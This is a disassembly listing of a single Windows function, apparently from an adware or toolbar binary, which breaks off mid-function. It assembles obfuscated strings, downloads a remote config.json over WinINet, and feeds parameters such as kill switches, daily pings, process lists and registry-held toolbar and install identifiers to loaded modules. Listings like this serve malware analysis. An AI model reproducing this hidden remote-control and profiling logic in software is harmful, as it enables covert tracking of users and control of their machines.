Function at 0x40eee0
Capabilities:
Contain obfuscated stackstrings
Create http request
Link many functions at runtime
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44047d
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x13134
call fcn.00428880
mov eax, dword [0x44f1f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov eax, dword [ebx + 0x410]
mov dword [ebp - 0x1312c], ebx
mov dword [ebp - 0x13110], 0
mov dword [ebp - 0x1310c], 0
mov dword [ebp - 0x13114], 0
mov dword [ebp - 4], 0
test eax, eax
je 0x40ef60
push eax
lea ecx, [ebx + 4]
call fcn.00412770
mov dword [ebx + 0x410], 0
lea ecx, [ebp - 0x12f88]
call fcn.00405a00
movdqa xmm0, xmmword [0x4437f0]
lea eax, [ebp - 0x2e0]
movdqu xmmword [ebp - 0x2e0], xmm0
lea ecx, [ebp - 0x12fd0]
mov byte [ebp - 4], 1
movdqa xmm0, xmmword [0x4437e0]
movdqu xmmword [ebp - 0x2d0], xmm0
push eax
movdqa xmm0, xmmword [str.tless_js_config.Nodegroover2412SoftwareWow6432_47C7_94A5_DCC83FAECC00E_8025Set_dailyPixelIDLiveSwitchParamNkillSwitchParamNSet_dailyPixelURGetToasterUPAndSlocalStoreFileNaSet_sleepParamNaSet_localStorePaSetkillForeverPaSet_localStoreDeGetSwitchUPAndSeDefaultSearchCheClearLSParamNameSet_localStoreFilocalStoreDefaulSet_ClearLSParamaliveSwitchParamSetstartRdrParamkillForeverParam_evtextDailyPingseg1ext1rnSHGetKnownFolderprotected_valuKillSwitchInMinu6t7.hwcdn.net_exhttp:__cds.q2u3z_]
movdqu xmmword [ebp - 0x2c0], xmm0
mov word [ebp - 0x2b0], 0x736a
mov byte [ebp - 0x2ae], 0
call fcn.00405980
push 0xb8
lea ecx, [ebp - 0x130f8]
mov byte [ebp - 4], 2
mov dword [ebp - 0xac], 0x61647075
mov dword [ebp - 0xa8], 0x742e6574
mov word [ebp - 0xa4], 0x7478
mov byte [ebp - 0xa2], 0
call fcn.00420370
push 1
push 0x40
push 1
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x130f8]
call fcn.004052e0
lea ecx, [ebp - 0x130f8]
mov byte [ebp - 4], 3
call fcn.0041ce60
test al, al
je 0x40f05f
push 0
lea ecx, [ebp - 0x2c]
call fcn.00405d70
mov esi, eax
lea ecx, [ebp - 0x3c]
lea eax, [ebp - 0x130f8]
push eax
call fcn.00405d30
push dword [esi + 4]
lea ecx, [ebp - 0x12fd0]
push dword [esi]
push dword [eax + 4]
push dword [eax]
call fcn.004041a0
lea ecx, [ebp - 0x130f8]
call fcn.0041b490
push 4
lea ecx, [ebp - 0x13108]
call fcn.00420370
lea eax, [ebp - 0x12fd0]
mov ecx, ebx
push eax
lea eax, [ebp - 0x13144]
push eax
call fcn.0040bb40
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0041b310
push eax
lea ecx, [ebp - 0x13108]
call fcn.00401450
lea ecx, [ebp - 0x13144]
mov byte [ebp - 4], 6
call fcn.00407030
xor eax, eax
mov dword [ebp - 0x228], 0x6f004d
push eax
push eax
push eax
mov dword [ebp - 0x224], 0x69007a
mov dword [ebp - 0x220], 0x6c006c
mov dword [ebp - 0x21c], 0x2f0061
mov dword [ebp - 0x218], 0x2e0035
mov dword [ebp - 0x214], 0x200030
mov dword [ebp - 0x210], 0x570028
mov dword [ebp - 0x20c], 0x6e0069
mov dword [ebp - 0x208], 0x6f0064
mov dword [ebp - 0x204], 0x730077
mov dword [ebp - 0x200], 0x4e0020
mov dword [ebp - 0x1fc], 0x200054
mov dword [ebp - 0x1f8], 0x2e0036
mov dword [ebp - 0x1f4], 0x3b0032
mov dword [ebp - 0x1f0], 0x570020
mov dword [ebp - 0x1ec], 0x57004f
mov dword [ebp - 0x1e8], 0x340036
mov dword [ebp - 0x1e4], 0x200029
mov dword [ebp - 0x1e0], 0x700041
mov dword [ebp - 0x1dc], 0x6c0070
mov dword [ebp - 0x1d8], 0x570065
mov dword [ebp - 0x1d4], 0x620065
mov dword [ebp - 0x1d0], 0x69004b
mov dword [ebp - 0x1cc], 0x2f0074
mov dword [ebp - 0x1c8], 0x330035
mov dword [ebp - 0x1c4], 0x2e0037
mov dword [ebp - 0x1c0], 0x360033
mov dword [ebp - 0x1bc], 0x280020
mov dword [ebp - 0x1b8], 0x48004b
mov dword [ebp - 0x1b4], 0x4d0054
mov dword [ebp - 0x1b0], 0x2c004c
mov dword [ebp - 0x1ac], 0x6c0020
mov dword [ebp - 0x1a8], 0x6b0069
mov dword [ebp - 0x1a4], 0x200065
mov dword [ebp - 0x1a0], 0x650047
mov dword [ebp - 0x19c], 0x6b0063
mov dword [ebp - 0x198], 0x29006f
mov dword [ebp - 0x194], 0x430020
mov dword [ebp - 0x190], 0x720068
mov dword [ebp - 0x18c], 0x6d006f
mov dword [ebp - 0x188], 0x2f0065
mov dword [ebp - 0x184], 0x310033
mov dword [ebp - 0x180], 0x30002e
mov dword [ebp - 0x17c], 0x31002e
mov dword [ebp - 0x178], 0x350036
mov dword [ebp - 0x174], 0x2e0030
mov dword [ebp - 0x170], 0x330036
mov dword [ebp - 0x16c], 0x530020
mov dword [ebp - 0x168], 0x660061
mov dword [ebp - 0x164], 0x720061
mov dword [ebp - 0x160], 0x2f0069
mov dword [ebp - 0x15c], 0x330035
mov dword [ebp - 0x158], 0x2e0037
mov dword [ebp - 0x154], 0x360033
mov word [ebp - 0x150], ax
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0x80000900
push 0
mov esi, eax
lea ecx, [ebp - 0x13108]
push 0
mov dword [ebp - 0x1310c], esi
call fcn.00407ac0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
mov dword [ebp - 0x13114], edi
test esi, esi
je 0x40f360
test edi, edi
je 0x40f360
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 0x12f08], 0
lea eax, [ebp - 0x12f08]
push eax
push 0x1000
lea eax, [ebp - 0x26f0]
push eax
push edi
call esi
test eax, eax
je 0x40f3ba
push dword [ebp - 0x12f08]
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f88]
call fcn.0041af10
cmp dword [ebp - 0x12f08], 0
ja 0x40f323
jmp 0x40f3ba
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x6f0063
push eax
lea ecx, [ebp - 0x12f40]
mov dword [ebp - 0x78], 0x66006e
mov dword [ebp - 0x74], 0x670069
mov dword [ebp - 0x70], 0x6a002e
mov dword [ebp - 0x6c], 0x73
call fcn.00405a80
lea eax, [ebp - 0x12f88]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0x12f40]
mov ecx, ebx
push eax
call fcn.00415d40
lea ecx, [ebp - 0x12f40]
mov byte [ebp - 4], 6
call fcn.00407030
push 0
push 0x7b
lea ecx, [ebp - 0x12f88]
call fcn.0041c720
cmp eax, 0xffffffff
je 0x40f415
push eax
push 0
lea ecx, [ebp - 0x12f88]
call fcn.0041c480
push eax
lea ecx, [ebp - 0x12f88]
call fcn.00407770
push 0xffffffffffffffff
push 0x7d
lea ecx, [ebp - 0x12f88]
call fcn.0041c740
cmp eax, 0xffffffff
je 0x40f415
inc eax
lea ecx, [ebp - 0x12f88]
push eax
call fcn.0041c450
push eax
lea ecx, [ebp - 0x12f88]
call fcn.00407770
push 0x10
lea ecx, [ebp - 0x12f28]
call fcn.00420370
push 0
lea ecx, [ebp - 0x12f28]
call fcn.004211d0
push 0x70
lea ecx, [ebp - 0x13040]
mov byte [ebp - 4], 8
call fcn.00420370
lea ecx, [ebp - 0x13040]
call fcn.00422560
push 1
lea eax, [ebp - 0x12f28]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x12f88]
push eax
lea ecx, [ebp - 0x13040]
call fcn.00423d10
test al, al
je 0x4113f3
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0x650050
push eax
mov ecx, ebx
mov dword [ebp - 0x148], 0x6f006b
mov dword [ebp - 0x144], 0x69006d
mov dword [ebp - 0x140], 0x79
call fcn.0040e670
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx + 0x464], eax
test eax, eax
je 0x40f63e
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x50746553
push ecx
push eax
mov dword [ebp - 0x20], 0x65636f72
mov dword [ebp - 0x1c], 0x694c7373
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call esi
mov dword [ebp - 0x13100], eax
test eax, eax
je 0x40f63e
xor eax, eax
push 0x103fe
push eax
mov word [ebp - 0x12ef0], ax
lea eax, [ebp - 0x12eee]
push eax
call fcn.00425d50
add esp, 0xc
mov dword [ebp - 0x3c], 0x636f7270
lea ecx, [ebp - 0x12f00]
mov word [ebp - 0x38], 0x73
xor edi, edi
push 0x10
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f18]
call fcn.00421140
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0xc
call fcn.004213f0
push 8
lea ecx, [ebp - 0x2c]
call fcn.00420370
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421bb0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421c80
push eax
lea ecx, [ebp - 0x2c]
call fcn.00407980
test al, al
je 0x40f61e
imul eax, edi, 0x208
lea ecx, [ebp - 0x12ef0]
inc edi
add eax, ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x13104], eax
call fcn.00407b30
lea ecx, [ebp - 0x12f70]
push ecx
mov ecx, eax
call fcn.00421ac0
push eax
lea eax, [ebp - 0x12f40]
mov byte [ebp - 4], 0xd
push eax
mov ecx, ebx
call fcn.0040bb40
mov ecx, eax
call fcn.0041b310
push eax
push dword [ebp - 0x13104]
call fcn.004048f0
add esp, 8
lea ecx, [ebp - 0x12f40]
call fcn.00407030
lea ecx, [ebp - 0x12f70]
mov byte [ebp - 4], 0xc
call fcn.00407020
lea ecx, [ebp - 0x2c]
call fcn.00407c20
jmp 0x40f583
lea eax, [ebp - 0x12ef0]
push edi
push eax
call dword [ebp - 0x13100]
add esp, 8
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x12f00]
call fcn.004213f0
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x61004b
push eax
mov ecx, ebx
mov dword [ebp - 0x138], 0x65006f
mov dword [ebp - 0x134], 0x6b0067
mov dword [ebp - 0x130], 0x69
call fcn.0040e670
mov dword [ebx + 0x468], eax
test eax, eax
je 0x40fb4b
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x41746553
push ecx
push eax
mov dword [ebp - 0x2c], 0x72615053
mov word [ebp - 0x28], 0x6d61
mov byte [ebp - 0x26], 0
call esi
mov edi, eax
test edi, edi
je 0x40f774
movdqa xmm0, xmmword [0x443760]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x656d614e
mov byte [ebp - 0x80], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x10
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40f765
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40f765
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x4b746553
push eax
push dword [ebx + 0x468]
mov dword [ebp - 0x3c], 0x72615053
mov word [ebp - 0x38], 0x6d61
mov byte [ebp - 0x36], 0
call esi
mov edi, eax
test edi, edi
je 0x40f85e
movdqa xmm0, xmmword [0x443680]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0x656d61
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x14
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40f84f
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40f84f
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x15
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
movdqa xmm0, xmmword [0x4436e0]
lea eax, [ebp - 0xc4]
push eax
push dword [ebx + 0x468]
movdqu xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0x4e6d6172
mov dword [ebp - 0xb0], 0x656d61
call esi
mov edi, eax
test edi, edi
je 0x40f964
movdqa xmm0, xmmword [0x443780]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x656d614e
mov byte [ebp - 0x80], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x18
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40f955
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40f955
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x19
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x4c746553
push eax
push dword [ebx + 0x468]
mov dword [ebp - 0x64], 0x72615053
mov word [ebp - 0x60], 0x6d61
mov byte [ebp - 0x5e], 0
call esi
mov edi, eax
test edi, edi
je 0x40fa4e
movdqa xmm0, xmmword [0x443670]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0x656d61
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x1a
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x1c
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40fa3f
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40fa3f
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x1d
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
movdqa xmm0, xmmword [0x443770]
lea eax, [ebp - 0xf8]
push eax
push dword [ebx + 0x468]
movdqu xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x656d614e
mov byte [ebp - 0xe4], 0
call esi
mov edi, eax
test edi, edi
je 0x40fb4b
push 0x10
lea ecx, [ebp - 0x12f18]
mov dword [ebp - 0x5c], 0x72617473
mov dword [ebp - 0x58], 0x72645274
mov dword [ebp - 0x54], 0x61726150
mov word [ebp - 0x50], 0x6d
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x1e
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x20
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40fb3c
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40fb3c
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x21
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x65004a
push eax
mov ecx, ebx
mov dword [ebp - 0x118], 0x750061
mov dword [ebp - 0x114], 0x68
call fcn.0040e670
mov dword [ebx + 0x470], eax
test eax, eax
je 0x40fefa
movdqa xmm0, xmmword [0x4436d0]
lea ecx, [ebp - 0xf8]
push ecx
push eax
movdqu xmmword [ebp - 0xf8], xmm0
mov word [ebp - 0xe8], 0x6874
mov byte [ebp - 0xe6], 0
call esi
movdqa xmm0, xmmword [0x443730]
mov edi, eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0x100], 0x614e656c
push eax
push dword [ebx + 0x470]
movdqu xmmword [ebp - 0x110], xmm0
mov word [ebp - 0xfc], 0x656d
mov byte [ebp - 0xfa], 0
call esi
movdqa xmm0, xmmword [0x4436f0]
mov dword [ebp - 0x13104], eax
lea eax, [ebp - 0xe0]
push eax
push dword [ebx + 0x470]
movdqu xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0x6c756166
mov dword [ebp - 0xcc], 0x6c615674
mov word [ebp - 0xc8], 0x6575
mov byte [ebp - 0xc6], 0
call esi
mov dword [ebp - 0x13100], eax
test edi, edi
je 0x40fd26
push 0x10
lea ecx, [ebp - 0x12f18]
mov dword [ebp - 0x24], 0x61636f6c
mov dword [ebp - 0x20], 0x6f74536c
mov dword [ebp - 0x1c], 0x61506572
mov word [ebp - 0x18], 0x6874
mov byte [ebp - 0x16], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x22
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x24
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40fd17
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40fd17
lea eax, [ebp - 0x12f70]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
push eax
lea eax, [ebp - 0x12f40]
mov byte [ebp - 4], 0x25
push eax
mov ecx, ebx
call fcn.0040bb40
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0041b310
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407030
lea ecx, [ebp - 0x12f70]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
mov edi, dword [ebp - 0x13104]
test edi, edi
je 0x40fe1d
movdqa xmm0, xmmword [0x4436b0]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x274], xmm0
mov word [ebp - 0x264], 0x656d
mov byte [ebp - 0x262], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x274]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x29
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40fe0e
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40fe0e
lea eax, [ebp - 0x12f70]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
push eax
lea eax, [ebp - 0x12f40]
mov byte [ebp - 4], 0x2a
push eax
mov ecx, ebx
call fcn.0040bb40
mov ecx, eax
mov byte [ebp - 4], 0x2b
call fcn.0041b310
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407030
lea ecx, [ebp - 0x12f70]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
mov edi, dword [ebp - 0x13100]
test edi, edi
je 0x40fefa
movdqa xmm0, xmmword [0x443740]
lea ecx, [ebp - 0x12f18]
push 0x10
movdqu xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x6c615674
mov word [ebp - 0x80], 0x6575
mov byte [ebp - 0x7e], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x2c
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x2e
call fcn.004213f0
lea ecx, [ebp - 0x12f18]
call fcn.00422180
test al, al
jne 0x40feeb
lea ecx, [ebp - 0x12f18]
call fcn.004221b0
test al, al
je 0x40feeb
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x2f
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.004213f0
xor eax, eax
mov dword [ebp - 0x12c], 0x630041
mov word [ebp - 0x120], ax
mov ecx, ebx
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x128], 0x650075
push eax
mov dword [ebp - 0x124], 0x690073
call fcn.0040e670
mov dword [ebx + 0x46c], eax
test eax, eax
je 0x41117e
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x5f746553
push ecx
push eax
mov dword [ebp - 0x58], 0x6e69616d
mov dword [ebp - 0x54], 0x68746150
mov byte [ebp - 0x50], 0
call esi
mov dword [ebp - 0x13128], eax
lea eax, [ebp - 0x12f18]
push eax
push dword [ebx + 0x46c]
mov dword [ebp - 0x12f18], 0x5f746553
mov dword [ebp - 0x12f14], 0x6e69616d
mov dword [ebp - 0x12f10], 0x68746150
mov word [ebp - 0x12f0c], 0x4449
mov byte [ebp - 0x12f0a], 0
call esi
movdqa xmm0, xmmword [0x4436d0]
mov dword [ebp - 0x13120], eax
lea eax, [ebp - 0x94]
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x6d6172
call esi
movdqa xmm0, xmmword [0x4436c0]
mov edi, eax
lea eax, [ebp - 0x7c]
mov word [ebp - 0x6c], 0x656d
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0x7c], xmm0
mov byte [ebp - 0x6a], 0
call esi
movdqa xmm0, xmmword [0x443750]
mov dword [ebp - 0x13118], eax
lea eax, [ebp - 0x110]
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0x656d614e
mov byte [ebp - 0xfc], 0
call esi
movdqa xmm0, xmmword [0x4436f0]
mov dword [ebp - 0x13124], eax
lea eax, [ebp - 0x260]
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0x260], xmm0
mov dword [ebp - 0x250], 0x6c756166
mov dword [ebp - 0x24c], 0x6c615674
mov word [ebp - 0x248], 0x6575
mov byte [ebp - 0x246], 0
call esi
mov dword [ebp - 0x1311c], eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebx + 0x46c]
mov dword [ebp - 0xa0], 0x65656c53
mov dword [ebp - 0x9c], 0x6d695470
mov word [ebp - 0x98], 0x7265
mov byte [ebp - 0x96], 0
call esi
movdqa xmm0, xmmword [0x443660]
mov dword [ebp - 0x13104], eax
lea eax, [ebp - 0x274]
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0x274], xmm0
mov byte [ebp - 0x264], 0
call esi
movdqa xmm0, xmmword [0x443690]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0xf8]
push eax
push dword [ebx + 0x46c]
movdqu xmmword [ebp - 0xf8], xmm0
mov word [ebp - 0xe8], 0x4c
call esi
mov dword [ebp - 0x13100], eax
mov esi, dword [ebp - 0x13128]
test esi, esi
je 0x41059c
push 0x10
lea ecx, [ebp - 0x12f00]
mov dword [ebp - 0x24], 0x6e69616d
mov dword [ebp - 0x20], 0x68746150
mov dword [ebp - 0x1c], 0x65736552
mov word [ebp - 0x18], 0x74
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x44]
call fcn.00421140
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x30
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x32
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x41058d
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x41058d
push 0x44348c
lea ecx, [ebp - 0x12f58]
call fcn.00405980
lea eax, [ebp - 0x12f08]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebx + 0x49c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x410522
push 0x3f5
push eax
mov byte [ebp - 0xee6], al
lea eax, [ebp - 0xee5]
push eax
mov dword [ebp - 0xef0], 0x6c6f6f54
mov dword [ebp - 0xeec], 0x49726162
mov word [ebp - 0xee8], 0x44
call fcn.00425d50
push 0x3f4
lea eax, [ebp - 0xae4]
mov dword [ebp - 0xaf0], 0x6e616863
push 0
push eax
mov dword [ebp - 0xaec], 0x5f6c656e
mov dword [ebp - 0xae8], 0x6469
call fcn.00425d50
push 0x3f2
lea eax, [ebp - 0x12e2]
mov dword [ebp - 0x12f0], 0x646f7270
push 0
push eax
mov dword [ebp - 0x12ec], 0x5f746375
mov dword [ebp - 0x12e8], 0x656d616e
mov word [ebp - 0x12e4], 0
call fcn.00425d50
push 0x3f2
lea eax, [ebp - 0x6e2]
mov dword [ebp - 0x6f0], 0x74736e69
push 0
push eax
mov dword [ebp - 0x6ec], 0x5f6c6c61
mov dword [ebp - 0x6e8], 0x656d6974
mov word [ebp - 0x6e4], 0
call fcn.00425d50
movdqa xmm0, xmmword [str.product_version]
lea eax, [ebp - 0x16df]
push 0x3ef
push 0
push eax
movdqu xmmword [ebp - 0x16f0], xmm0
mov byte [ebp - 0x16e0], 0
call fcn.00425d50
push 0xfff
lea eax, [ebp - 0x26ef]
mov byte [ebp - 0x26f0], 0
push 0
push eax
call fcn.00425d50
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x12f04]
add esp, 0x48
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0xef0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410365
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x64696274
push eax
lea ecx, [ebp - 0x12f58]
mov word [ebp - 0x38], 0x3d
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0xaf0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x4103d2
lea eax, [ebp - 0x3c]
